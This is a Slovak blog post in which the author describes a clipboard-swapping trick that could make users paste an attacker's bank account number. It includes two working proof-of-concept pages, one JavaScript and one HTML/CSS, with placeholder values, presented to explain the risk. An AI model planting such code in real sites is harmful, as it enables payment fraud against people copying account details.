Zápisky hackera – Niektoré veci vás príručky nenaučia

Vraví sa že tie najlepšie nápady prídu vo chvíli keď to najmenej čakáte. V mojom prípade to bolo pri úhrade platby za ISIC 🙂

Tak ako milión krát pred tým aj teraz som pri platbe cez Internet Banking našiel číslo účtu kam bolo treba poslať peniaze, skopíroval som ho do schránky a vložil do IB. Bežná prax, nič zvláštne.

Potom som si však spomenul na článok, ktorý pred pár rokmi vyšiel na soome a ktorý pojednával o tom, aké nebezpečné môže byť bezhlavé kopírovanie textu. Článok síce poukazuje na modifikovanie obsahu schránky textom, ktorý je „neviditeľný“, avšak mojim cieľom bolo úplne pozmeniť obsah schránky s tým, že originálny text, ktorý vidí uživateľ by sa nezmenil.

Ako toho dosiahnuť? Sú dve možnosti:

  1. Formátovaním stránky
  2. Využitím JavaScriptu

Prvé riešenie vytvoril smiley a jedná sa o riešenie s využitím čístého HTML/CSS. Drobný problém je v tom, že na každom browseri sa to môže tváriť odlišne a nie vždy to musí vyzerať dôveryhodne.

Druhé riešenie, ktorého tvorcom som ja (pravdaže s využitím google fu a stack overflow) pre zmenu využíva JavaScript. Tento skript zachytáva event na kopírovanie textu a namiesto skopírovania pôvodného textu do schránky je do schránky nahratý text útočníka. Autor stránky, ktorá bola hacknutá teda môže po naliehaní klientov skontrolovať číslo účtu, avšak až po analýze kódu webovej stránky vie zistiť rozdiel. A nakoľko nie všetci užívatelia text kopírujú a nie každý admin je developer, je možné že takáto modifikácia vydrží neidentifikovaná po dlhý čas.

Tak ako prvé riešenie, aj toto má svoje muchy. Tým najväčším problémom je to, že neviete zistiť, čo presne užívateľ skopíroval z webovej stránky a je teda možné že mu nahradíte v schránke úplne iný text ako ste pôvodne chceli. Som si istý, že je to riešiteľný problém, avšak mojím cieľom bolo spraviť funkčný PoC a ak sa to dá, neuľahčiť prácu skiddie takže vyriešenie problému je už na vás.

 

Na záver pripájam zdrojové kódy pre prípad že časom nebudú linky na PoC fungovať:

EDIT: Ostránený zabudnutý alert() v javascript_poc.html

<html>
<head>
<title>PoC cipboard exchange</title>
</head>
<body>
<script>
var isIe = (navigator.userAgent.toLowerCase().indexOf("msie") != -1
           || navigator.userAgent.toLowerCase().indexOf("trident") != -1);

document.addEventListener('copy', function(e) {
    var textToPutOnClipboard = "Muhaha (evil_emoticon) :D";
    if (isIe) {
        window.clipboardData.setData('Text', textToPutOnClipboard);
    } else {
        e.clipboardData.setData('text/plain', textToPutOnClipboard);
    }
    e.preventDefault();
});
</script>	

<p>Lorem ipsum</p>

</body>
</html>
<!DOCTYPE html>
<html>
<head>
    <title>hide</title>
    <style type="text/css">
        .wrapper {
            position: relative;
        }

        .good:before {
            content: "ACC-GOOD";
        }

        .bad {
            display: inline-block;
            position: absolute;
            left: 0;
            color: transparent;
        }
    </style>
</head>

<body>
    <p>Send money to
        <span class="wrapper">
            <span class="good"></span><span class="bad">ACC-BAAD</span>
        </span>
        thank you goodbye.
    </p>
</body>
</html>

P.S Tento typ útoku by sa dal zaradiť do kategórie Clickjackingu, takže ak by ste sa chceli dozvedieť o podobných technikách viacej, hľadajte pod týmto kľúčovým slovom 😉

Pridaj komentár

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *